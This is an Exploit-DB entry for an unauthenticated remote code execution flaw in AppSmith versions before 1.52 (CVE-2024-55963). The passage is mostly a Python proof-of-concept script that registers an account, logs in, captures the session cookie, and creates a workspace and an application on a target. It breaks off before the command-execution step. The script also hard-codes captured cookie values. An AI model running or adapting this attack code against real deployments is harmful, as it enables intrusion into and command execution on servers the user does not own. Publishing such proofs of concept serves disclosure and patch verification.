Exploit-DB #52118
Description: AppSmith 1.47 - Remote Code Execution (RCE)
Type: webapps
Platform: java
Date: 2025-04-03
Author: Nishanth Gaddam

Exploit:
# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.

import requests
import json
import pyfiglet
import argparse

# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE")  # Replace with your desired title
print(banner)

# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()

# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command

if not base_url.startswith("http://") and not base_url.startswith("https://"):
    base_url = "http://" + base_url

# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
    "email": "poc1@poc.com",
    "password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()

# Login request
login_url = f"{base_url}/api/v1/login"  # Adjust the URL as needed
login_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/user/login",
    "Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}

login_data = {
    "username": "poc1@poc.com",  # Adjusted to match the provided request
    "password": "Testing123!"
}

# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()

# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
    # Split the Set-Cookie header to get the cookie name and value
    cookie_name, cookie_value = set_cookie.split(';')[0].split('=')

# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
    fourth_request_url = f"{base_url}/api/v1/workspaces"
    fourth_request_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json",
        "X-Requested-By": "Appsmith",
        "Connection": "keep-alive",
        "Referer": f"{base_url}/applications",
        "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
    }
    
    fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
    fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
    fourth_response.raise_for_status()

    # Extract the 'id' from the response if it exists
    try:
        response_json = fourth_response.json()
        workspace_id = response_json.get("data", {}).get("id")
    except ValueError:
        print("Response content is not valid JSON:", fourth_response.text)  # Print the raw response for debugging

    if workspace_id:
        fifth_request_url = f"{base_url}/api/v1/applications"
        fifth_request_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/json",
            "X-Requested-By": "Appsmith",
            "Content-Length": "161",
            "Origin": base_url,
            "Connection": "keep-alive",
            "Referer": f"{base_url}/applications?workspaceId={workspace_id}",
            "Cookie": f"{cookie_name}={cookie_value}",
        }
        
        fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})

        print('Creating a new application...')
        fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
        fifth_response.raise_for_status()

        try:
            response_json = fifth_response.json()